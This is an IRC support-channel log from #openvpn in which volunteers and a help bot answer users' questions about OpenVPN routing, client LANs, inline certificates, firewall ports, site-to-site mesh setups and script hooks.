09:41 < pekster> (It'll also push them if you use 'mode server' but that doesn't apply to a p2p mode)
09:41 < failshell> unless the connection is down
09:41 -!- kobolduk [~kobolduk@office.prolocation.net] has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
09:41 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Read error: Operation timed out]
09:43 < pekster> failshell: Right, the ping/ping-restart options are the only way to know if the tunnel is up or down. Otherwise it's just a PtP tunnel that doesn't do anything until it has data to send to the peer
09:43 < pekster> I should say the only way for OpenVPN specifically to know if the tunnel is up; you can always write code to do a ping test to the peer, but that's outside OpenVPN's realm
09:44 < failshell> its been a while since ive setup a tunnel, but as i recall, back in the days with IPsec tunnels, it didnt have that behavior
09:44 -!- Netsplit *.net <-> *.split quits: meepmeep, cosmicfires, mirco, kevinsky
09:45 < pekster> Keepalive packets serve another important role in keeping stateful firewalls open. For example, netfilter (which tracks state on Linux) defaults to a 3 minute timeout for UDP streams
09:45 -!- Netsplit over, joins: meepmeep
09:45 -!- Netsplit over, joins: mirco, kevinsky, cosmicfires
09:50 -!- mongoman [~mongoman@200.46.98.147] has quit [Ping timeout: 245 seconds]
09:59 < sejo> having 2 entries in the ccd  one saying iroute 192.168.122.64 255.255.255.192
09:59 < sejo> and the other iroute 192.168.122.64 255.255.255.192
09:59 < sejo> and the other iroute 192.168.122.128 255.255.255.192 (sorry)
09:59 < sejo> shouldn't that result in routing entries like this:  192.168.122.64  192.168.101.2   255.255.255.192 UG        0 0          0 tun0
09:59 < sejo> 192.168.122.128 192.168.101.3   255.255.255.192 UG        0 0          0 tun0
10:00 < sejo> right now on the openvpn server both redirect to the 192.168.101.2 (wich should only receive the 192.168.122.64/26 range)
10:03 < pekster> sejo: iroute is an directive that tells openvpn to internally route traffic for the specified network to the client specified by the ccd file. You still need a normal 'route' statement in the server's config to get the route added to the OS-level routing table
10:03 < pekster> is a*
10:04 < sejo> pekster: I know, I've added those
10:04 < sejo> in the server.conf
10:04 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
10:04 < pekster> So, what's the issue. You asked if it results in system routing entries, and iroute does not; route is used for that instead.
10:06 < sejo> pekster: wait. push "route 192.168.122.0 255.255.255.0" will push the route to the clients
10:06 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:07 < sejo> route 192.168.122.64 255.255.255.192 will add it to the server
10:07 < pekster> Yup, although if you have iroutes for a /26 instead you should include the smaller routes, otherwise it'll also get pushed to the client owning the iroute. Normally openvpn will omit pushing a route to a client if it has a matching iroute
10:08 < sejo> ok so I should omit the route?
10:08 < pekster> If you want other clients to get a route, push it :)
10:10 < sejo> well basically the server should route to the correct machine, and on all nodes (and their vm's ) I should be able to concact others
10:10 -!- Kendall1 [~gjones@173-165-28-227-Illinois.hfc.comcastbusiness.net] has joined #openvpn
10:11 < pekster> Right. To do that you use iroute, route, and push "route ..." all at once
10:11 -!- Kendall1 is now known as Kendall
10:13 < sejo> indeed, but is it possible that the vm's ip's aren't learned by the openvpn (as they have no vpn client) so it's not routed by openvpn?
10:13 -!- JesseC [~JesseCWor@wsip-98-175-20-126.br.br.cox.net] has joined #openvpn
10:13 < sejo> I see the learned statements in my log for the nodes
10:15 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
10:16 < pekster> !clientlan
10:16 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
10:16 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
10:23 -!- NeoLobster [~NeoLobste@snugglenets.com] has left #openvpn []
10:25 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
10:25 -!- mode/#openvpn [+o krzee] by ChanServ
10:27 < sejo> pekster: this is the config http://dpaste.com/1009042/
10:29 < sejo> I can't figure it out :/
10:30 < sejo> the forward is set in the firewall
10:30 < pekster> It's not overly wise to use both an ifconfig-pool directive (implied by your server directive on line 9) and ifconfig-push IPs inside that same pool. It "works" so long as you client requests a pool IP
10:31 < pekster> Otherwise that config is fine. (you do have a duplicate directive on lines 14/16)
10:32 < pekster> Actually, you need a different topology from the net30 default; you probably want 'topology subnet' instead
10:33 < sejo> removed the ippool, i'll change the topology
10:34 < pekster> I'm not talking about the ifconfig-pool-persist option; that does something else (and you don't need/want it anyway.)
10:34 < pekster> I'm talking about the implied use of --ifconfig-pool that is expanded from --server. See the latter directive in the manpage for expansion details
10:35 < pekster> Your implied pool range overlaps statically assigned IPs, which is going to break if you ever connect a client that pulls an address from your pool
10:35 < pekster> (I should say could break in specific conditions, fwiw)
10:36 < sejo> true, how do I set the topology? just add topology subnet?
10:38 <@krzee> !man
10:38 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend!
10:38 <@krzee> but yes
10:52 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
10:54 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Client Quit]
10:54 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
10:59 -!- raidz_away is now known as raidz
11:06 -!- marksaitis [~marksaiti@81.101.81.114] has quit [Ping timeout: 255 seconds]
11:07 -!- AsadH is now known as zz_AsadH
11:17 -!- speed_racer8 [~speed_rac@76.30.149.251] has quit [Read error: Connection reset by peer]
11:20 -!- MoPac [~MoPac@unaffiliated/mopac] has joined #openvpn
11:21 < MoPac> !welcome
11:21 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
11:21 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
11:23 < MoPac> I would like to store my client-side cert files in an encfs-encrypted folder in Linux. My problem: openvpn connection succeds when the key/cert files are, e.g., on my desktop.  But it fails when they are in a (mounted) encfs folder.  I'm not sure if this is a permissions issue, a problem of network manager talking to cryptkeeper, etc
11:24 < pekster> Fails how? OpenVPN doesn't care where your keys are so long as it can read the file at the path provided
11:31 <@krzee> could make it all in-line, then if you read in the config you're done
11:31 <@krzee> !inline
11:31 <@vpnHelper> "inline" is (#1) Inline files (e.g. <ca> ... </ca> are supported since OpenVPN 2.1rc1 and documented in the OpenVPN 2.3 man page (https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage under INLINE FILE SUPPORT) or (#2) https://community.openvpn.net/openvpn/wiki/IOSinline for a writeup that includes how to use inline certs
11:33 -!- brute11k [~brute@89.249.235.13] has quit [Read error: Connection reset by peer]
11:34 < MoPac> I guess I'm a little confused re: the inline certs -- my idea here is that the keys would only be accessible to a user who had entered a password to mount the encfs folder
11:36 < MoPac> pekster: Sorry I missed your message earlier.  The network manager status indicator wasn't very forthcoming about the reason for the failure, just that the connection "failed"
11:36 < MoPac> Through trial and error, I determined that the problem was the folder that the cert/key files were in
11:37 < MoPac> Alternately, is there a way to encrypt the client keys in place and have OpenVPN prompt for a password to decrypt them at connect time?
11:38 <@krzee> !factoids search pass
11:38 <@vpnHelper> 'winpass', '2.1-winpass-script', 'authpass', 'password-only', 'strip-passphrase', 'change-passphrase', 'enable-passwd-save', and 'password'
11:38 <@krzee> !change-passphrase
11:38 <@vpnHelper> "change-passphrase" is see http://openvpn.net/archive/openvpn-users/2005-03/msg00230.html for how to change (or add) a key's passphrase
11:38 <@krzee> MoPac, ^^
11:38 < MoPac> Ahh, thanks.  N00b to openvpn, just trying to finally ditch pptp
11:39 <@krzee> np, good choice
11:40 <@krzee> MoPac, i suggested inline certs cause you could put the entire config in the encrypted dir
11:40 <@krzee> and then whatever is messing things up (dir not being mounted or something) wont even be able to read the config if it cant read the keys
11:41 < MoPac> krzee: I see.  That wasn't as intuitive to me because my config is being build by the Ubuntu network manager GUI
11:42 <@krzee> we strongly recommend against that
11:42 <@krzee> !ubuntu
11:42 <@vpnHelper> "ubuntu" is dont use network manager!
11:42 <@krzee> !netman
11:42 <@vpnHelper> "netman" is if you are using network manager for linux to configure your vpn, dont! http://openvpn.net/archive/openvpn-users/2008-01/msg00046.html to read the same thing from the author of the openvpn 2 cookbook on the mail list
11:42 < MoPac> Good to know
11:43 <@krzee> if you want to import a working config to netman after, go for it
11:43 -!- failshell [~failshell@lpr157.lapresse.ca] has quit [Remote host closed the connection]
11:43 <@krzee> but dont start by making your configs with netman
11:43 < MoPac> Is it a security issue, or just a lack of features?
11:43 <@krzee> its a "you wont know why shit doesnt work how you said for it to"
11:44 < MoPac> QED in my case
11:44 -!- JSharpe [~JSharpe@176.227.206.250] has joined #openvpn
11:44 < MoPac> Any other decent GUI out there to build a proper config, or am I going to need to read a manpage and learn the lines?
11:45 <@krzee> !confgen
11:45 <@vpnHelper> "confgen" is (#1) http://www.doeshosting.com/code/openvpn-confgen.tgz for the bash config generator or (#2) you can use svn co http://www.secure-computing.net/svn/trunk/openvpn-confgen/ or (#3) you must run this in bash
11:45 <@krzee> could use that if you want
11:45 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
11:45 < MoPac> thanks!
11:45 <@krzee> it may not be exactly what you want, but it'll give you something to start from
11:46 -!- Isenn [~Isenn@linux.linuxtalk.sizeit.se] has joined #openvpn
11:46 -!- Isenn [~Isenn@linux.linuxtalk.sizeit.se] has left #openvpn []
11:56 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
12:12 -!- cosmicfires [~el-brujo@c-50-135-29-248.hsd1.wa.comcast.net] has quit [Quit: bye...]
12:16 -!- master_of_master [~master_of@p4FF242AF.dip.t-dialin.net] has joined #openvpn
12:19 -!- master_o1_master [~master_of@p4FF24C7A.dip.t-dialin.net] has quit [Ping timeout: 240 seconds]
12:20 -!- MoPac [~MoPac@unaffiliated/mopac] has quit []
12:35 -!- dazo is now known as dazo_afk
12:40 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 272 seconds]
12:43 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
12:44 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
12:44 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
12:44 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
12:44 -!- mode/#openvpn [+o krzee] by ChanServ
12:49 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has quit [Quit: mirco]
12:50 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Ping timeout: 272 seconds]
12:57 -!- JackWinter [~jack@ppp-256.vo.lu] has quit [Quit: ZNC - http://znc.in]
12:59 -!- JackWinter [~jack@ppp-256.vo.lu] has joined #openvpn
13:07 -!- krphop_ is now known as krphop
13:14 <@krzee> !learn googleauth as http://securityskittles.wordpress.com/2012/03/14/two-factor-authentication-for-openvpn-on-centos-using-google-authenticator/
13:14 <@vpnHelper> Joo got it.
13:17 < MorgyN> ooh
13:17 < MorgyN> ooooh
13:17 < MorgyN> oooohhhhhhh
13:17 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
13:18 < MorgyN> ill stopnow but this is veryrelevant to my interests
13:18 < pekster> There are public and/or copyleft implementations of google auth in dozens of popular languages, so it should be fairly trivial to plug that into openvpn in whatever way works best for a particular shop
13:19 < pekster> Everything from python to java, although you probably don't really want to call java to do your 2-factor auth from openvpn ;)
13:27 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
13:32 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
13:35 -!- vraa__ [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
13:38 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 248 seconds]
13:39 -!- tyteen4a03 [tyteen4a03@69.50.229.69] has quit [Ping timeout: 264 seconds]
13:44 -!- vraa__ [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 260 seconds]
13:45 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Remote host closed the connection]
13:52 -!- tyteen4a03 [tyteen4a03@69.50.229.69] has joined #openvpn
14:11 -!- JackWinter [~jack@ppp-256.vo.lu] has quit [Quit: ZNC - http://znc.in]
14:18 -!- JackWinter [~jack@ppp-256.vo.lu] has joined #openvpn
14:19 -!- `nand` [~nand@2a01:4f8:d13:5245::2] has quit [Quit: nand]
14:20 -!- `nand` [~nand@2a01:4f8:d13:5245::2] has joined #openvpn
14:23 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
14:23 -!- mode/#openvpn [+v s7r] by ChanServ
14:26 -!- ar0nic [~no@c-174-56-147-242.hsd1.sc.comcast.net] has joined #openvpn
14:42 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Quit: Leaving]
14:47 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
14:55 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
14:55 -!- Valcorb|| [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
14:56 -!- kyrix [~ashley@85.126.76.82] has quit [Ping timeout: 245 seconds]
14:57 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Ping timeout: 245 seconds]
15:00 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
15:00 -!- Valcorb|| [~Valcorb@d54C68BC0.access.telenet.be] has quit [Read error: Connection reset by peer]
15:01 -!- JSharpe [~JSharpe@176.227.206.250] has quit [Quit: Leaving]
15:03 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
15:05 -!- JSharpe [~JSharpe@5.152.198.170] has joined #openvpn
15:08 -!- Sanguines [~anon@c-67-165-169-36.hsd1.il.comcast.net] has joined #openvpn
15:08 -!- eHAPPY [~V1CE@ip174-73-2-35.no.no.cox.net] has joined #openvpn
15:09 -!- Orbi [~opera@109.129.0.27] has joined #openvpn
15:09 < eHAPPY> I just installed the openvpn access server for my esxi server and when i try to login through the webclient i get a "not authorized" message
15:10 < eHAPPY> any idea why or what i need to do?
15:10 < pekster> !as
15:10 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
15:11 < pekster> This channel is for the GPL OpenVPN project, not the commercial Access Service product
15:11 < eHAPPY> ah ok, ty
15:12 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Read error: Connection reset by peer]
15:12 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
15:13 -!- eHAPPY [~V1CE@ip174-73-2-35.no.no.cox.net] has left #openvpn []
15:15 -!- voidnecron [~voidnecro@unaffiliated/necron] has joined #openvpn
15:15 -!- Valcorb|| [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
15:17 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Ping timeout: 245 seconds]
15:22 -!- JSharpe [~JSharpe@5.152.198.170] has quit [Read error: Connection reset by peer]
15:29 < Sanguines> is "iptables -I INPUT -p tcp --dport 1194 -j ACCEPT" sufficient to open the port in Debian?  The server appears to be running, but I cannot access it.
15:30 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
15:31 < pppingme> Sanguines you running openvpn with tcp or more likely udp?
15:31 < Sanguines> Would that be on UDP?  That would explain it
15:32 -!- JSharpe [~JSharpe@185.2.137.212] has joined #openvpn
15:32 < pppingme> openvpn is typically setup to use udp
15:33 < Sanguines> Well I'm getting a different error than before, that certainly seems to have done something =)  w00t.  I no nothing :P
15:45 -!- Valcorb [~Valcorb@d54c68bc0.access.telenet.be] has joined #openvpn
15:45 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Read error: Connection reset by peer]
15:49 -!- Valcorb|| [~Valcorb@d54C68BC0.access.telenet.be] has quit [Ping timeout: 256 seconds]
15:56 < rob0> -I, as you know from the iptables(8) man page, inserts the rule at the beginning of the chain. But we don't know what other rules you might have, so there is no sure answer. There are numerous ways I can think of wherein your -I rule would not work.
15:56 -!- kbarry [~chatzilla@rrcs-24-153-167-50.sw.biz.rr.com] has joined #openvpn
16:09 -!- vraa__ [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
16:11 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 248 seconds]
16:16 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 260 seconds]
16:21 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:25 -!- vraa__ [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Quit: Leaving]
16:25 -!- JSharpe [~JSharpe@185.2.137.212] has quit [Quit: Leaving]
16:43 -!- kbarry [~chatzilla@rrcs-24-153-167-50.sw.biz.rr.com] has quit [Quit: ChatZilla 0.9.90 [Firefox 19.0/20130215130331]]
17:00 -!- Sanguines [~anon@c-67-165-169-36.hsd1.il.comcast.net] has quit []
17:04 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
17:05 <@krzee> rob0, man whats?
17:05 <@krzee> what are these man pages you speak of
17:06 -!- zbychuk [~zbychuk@77-253-243-181.adsl.inetia.pl] has joined #openvpn
17:08 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has quit [Quit: Leaving]
17:08 < rob0> The reference documents that people who ask questions in IRC should, but rarely do, consult first.
17:09 < zbychuk> !welcome
17:09 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
17:09 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
17:10 < zbychuk> !howto
17:10 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
17:10 < zbychuk> !route
17:10 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
17:10 <@vpnHelper> behind the server or client
17:10 < zbychuk> !redirect
17:10 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
17:10 <@vpnHelper> http://ircpimps.org/redirect.png
17:11 -!- zbychuk [~zbychuk@77-253-243-181.adsl.inetia.pl] has left #openvpn ["WeeChat 0.3.8"]
17:13 -!- sh_t [~sht@176.222.238.158] has quit [Ping timeout: 255 seconds]
17:19 -!- marksaitis [~marksaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
17:19 -!- marksaitis [~marksaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Remote host closed the connection]
17:19 -!- marksaitis [~marksaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
17:23 -!- kantlivelong [~kantlivel@47.23.189.90] has quit [Ping timeout: 245 seconds]
17:23 -!- zoredache [~zoredache@pdpc/supporter/professional/zoredache] has joined #openvpn
17:26 < zoredache> does the community edition of openvpn support the <ca>...</ca> <key>...</key> <cert>...</cert> syntax in the configuration file?
17:29 -!- Falteckz [~Falteckz@121.99.31.205] has joined #openvpn
17:29 < Falteckz> G'Day
17:29 < Falteckz> Multiple clients on an OpenVPN Network
17:29 < Falteckz> Do they connect directly if possible?
17:29 < zoredache> no
17:30 < Falteckz> All traffic is via the server?
17:30 < zoredache> yup.
17:30 < Falteckz> So adding 'redundency' with multiple servers wont do that at all
17:30 < Falteckz> It's just more servers that still can't talk to other clients.
17:30 < zoredache> I am sure I saw someone mention a mesh here a while back.
17:30 < Falteckz> I'm trying to setup a mesh network between multiple sites
17:30 < Falteckz> Was hoping OpenVPN could do it.
17:30 < zoredache> !mesh
17:30 < rob0> !inline
17:30 <@vpnHelper> "mesh" is (#1) openvpn does not do mesh networking or (#2) see !rip or (#3) check out http://github.com/darkpixel/openmesher/ for auto-creating openvpn meshes
17:30 <@vpnHelper> "inline" is (#1) Inline files (e.g. <ca> ... </ca> are supported since OpenVPN 2.1rc1 and documented in the OpenVPN 2.3 man page (https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage under INLINE FILE SUPPORT) or (#2) https://community.openvpn.net/openvpn/wiki/IOSinline for a writeup that includes how to use inline certs
17:31 < zoredache> rob0: thanks :)
17:31 < rob0> A mesh can be done "simply" by having direct tunnels from each site to each other site. Obviously that does not scale well beyond a few sites.
17:32 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
17:33 < Falteckz> If a server was to go down at one site, but not the internet connection. That entire site is still out of luck if it wants to get on the VPN?
17:33 < Falteckz> Without going in and changing the server address to a remote one
17:33 < rob0> You can't use the VPN if openvpn is not running or not connected.
17:35 -!- Orbi [~opera@109.129.0.27] has quit [Ping timeout: 256 seconds]
17:35 < Falteckz> The main thing I'm desiring is that Client A can connect to Server A, and Client B to Server B, but if Client A and Client B wish to talk to each other. They don't have to C.A->S.A->S.B->C.B
17:35 < Falteckz> They can connect directly
17:35 < Falteckz> It doen't work that way, correct?
17:35 < Falteckz> *doesn't.
17:36 -!- marksaitis [~marksaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Quit: Leaving]
17:36 < rob0> You can set up as many instances of openvpn as you and your systems can handle. That's more or less what I said above, about how to do a mesh.
17:37 -!- marksaitis [~marksaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
17:37 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
17:37 -!- marksaitis_ [~marksaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
17:38 < Falteckz> Okay.
17:38 < Falteckz> But does that mean I require more than one instance per machine?
17:38 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Client Quit]
17:38 -!- marksaitis [~marksaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Disconnected by services]
17:38 -!- marksaitis_ [~marksaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Remote host closed the connection]
17:39 -!- marksaitis [~marksaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
17:39 < rob0> I don't know what you require. But if you want to do a mesh among three sites, you require two instances per site. For four sites, three per site. For X sites, X-1 instances per site.
17:39 < rob0> The most I have done was seven sites, six tunnels per site.
17:40 < zoredache> or you need a different VPN tool that has a full-mesh setup.
17:40 -!- marksaitis [~marksaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Read error: Connection reset by peer]
17:40 < rob0> sure. They're talking about that for the future.
17:40 -!- marksaitis [~marksaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
17:42 < rob0> I guess it could be done by signalling a pair of clients to connect to one another on a specified port.
17:43 < zoredache> I recall the package I was thinking about.  I was reading about [tinc](http://www.tinc-vpn.org/) a while back and it supposedly creates a full mesh.
17:43 <@vpnHelper> Title: tinc wiki (at www.tinc-vpn.org)
17:43 < rob0> I mean: when ClientA tells the server it wants to get to ClientB, the server tells each one the real IP address of the other, and a port for each to use.
17:44 < rob0> (and maybe they'd negotiate their own session key, I'm not sure how the crypto would work)
17:46 < Falteckz> Yeah, I mean the crypto wouldn't matter
17:46 < Falteckz> All they would need is the two addresses and the two port numbers
17:46 < Falteckz> ( Both source and dest ports really, for Nat punching )
17:47 < Falteckz> * Crypto wouldn't matter in the context that it's irrelevant how it works so long as it does so.
17:47 < rob0> hmmm, tinc looks interesting, but where they talk about "why tinc?" they only mention "why not FreeS/WAN?"
17:51 < zoredache> Well tinc is one of the few tools with an full mesh mode, aside from IPSEC, which exists eveywhere, but is ugly to setup.
17:52 < zoredache> Plus the full mesh bits of IPsec are basically impossible if you have NAT at all.
17:54 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
17:55 < rob0> I don't think full mesh in openvpn would be very difficult to implement, but of course it wouldn't get through every NAT.
18:02 < zoredache> rob0: did you use routing or bridging for that 7 site mesh?  I am trying to figure out how you handled the routing for that.
18:19 -!- dxtr [~dxtr@unaffiliated/dxtr] has quit [Ping timeout: 256 seconds]
18:20 < rob0> I don't use bridging for anything. Each tunnel set up a route to each LAN behind each peer.
18:20 < rob0> we used /20's IIRC
18:21 < zoredache> so if the direct link between two systems failed, did you also have other routes if an indirect path was possible?
18:23 < rob0> well, we talked about that, but the customer figured if the site server was down, the site was down.
18:24 < rob0> more trouble to set that up than it would be worth
18:25 < zoredache> ah.  It is the full mesh VPN with routing such that any path could be used that is giving me a headache.
18:26 < zoredache> If you had bridged your interface I would guess you could use OSPF/RIP/etc.
18:26 < zoredache> Or is it possible to get a routing protocol to actually work corectly in a routed openvpn config, I wonder..
18:27 < kisom> im drunk, lol
18:40 -!- pulz [geir@winning.no] has joined #openvpn
18:42 < pulz> is a client supposed to be able to access its own lan when its connected to a ovpn server ?
18:42 < EugeneKay> Usually yes
18:43 < pulz> define usually
18:43 < EugeneKay> Depends how you set up your vpn configuration
18:43 < pulz> any points as to what settings are related to this ?
18:43 < EugeneKay> Typical use cases are to grant access to a remote LAN or redirect all internet-bound traffic through the server
18:43 < EugeneKay> Read the howto
18:44 < zoredache> pulz:  It is almost always about routing.
18:47 < pulz> zoredache: figured as much, will have to look into it i gues
18:54 < rob0> zoredache, I am pretty sure it could be done, maybe with a routing daemon, but unfortunately I didn't get to take it that far.
18:54 < rob0> would have been fun!
18:54 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
19:02 -!- JackWinter1 [~jack@ppp-256.vo.lu] has joined #openvpn
19:03 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
19:03 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
19:03 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
19:03 -!- mode/#openvpn [+o krzee] by ChanServ
19:05 -!- JackWinter [~jack@ppp-256.vo.lu] has quit [Ping timeout: 248 seconds]
19:08 -!- Valcorb [~Valcorb@d54c68bc0.access.telenet.be] has quit []
19:10 -!- raidz is now known as raidz_away
19:20 -!- zoredache [~zoredache@pdpc/supporter/professional/zoredache] has quit [Remote host closed the connection]
19:56 -!- marksaitis [~marksaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Ping timeout: 272 seconds]
20:06 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
20:41 -!- hotwings [hd@secksy.net] has joined #openvpn
20:42 < hotwings> i want to use --ipchange to update dyndns whenever my ip changes, but how would i use it if i need to send an arg with the shell command?  --ipchange "shellcmd myarg"   ?
20:49 -!- ar0nic [~no@c-174-56-147-242.hsd1.sc.comcast.net] has quit [Ping timeout: 244 seconds]
21:02 <@krzee> !script
21:02 <@vpnHelper> "script" is see http://openvpn.net/index.php/open-source/documentation/manuals/69-openvpn-21.html#lbAR for a list of places scripts can hook into openvpn
21:02 <@krzee> what sort of arg would you need?
21:02 <@krzee> everything you need should be variables already
21:31 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
21:43 < hotwings> that doesnt make any sense at all.. why would my scripts args being stored in variables?
21:43 < hotwings> *be
21:44 < EugeneKay> You don't get any args to your script
21:44 < EugeneKay> You need to read the env variables, which are listed in the man page
21:45 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 276 seconds]
21:46 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
21:47 < hotwings> thats interesting since the "--ipchange" section at http://openvpn.net/index.php/open-source/documentation/manuals/69-openvpn-21.html says,
21:47 <@vpnHelper> Title: OpenVPN 2.1 (at openvpn.net)
21:47 -!- p3rror [~mezgani@41.250.238.203] has quit [Ping timeout: 245 seconds]
21:47 < hotwings> "Note that cmd can be a shell command with multiple arguments, in which case all OpenVPN-generated arguments will be appended to cmd to build a command line which will be passed to the script. "
21:49 < EugeneKay> I've not used that command, so I'm not familiar with the exact syntax
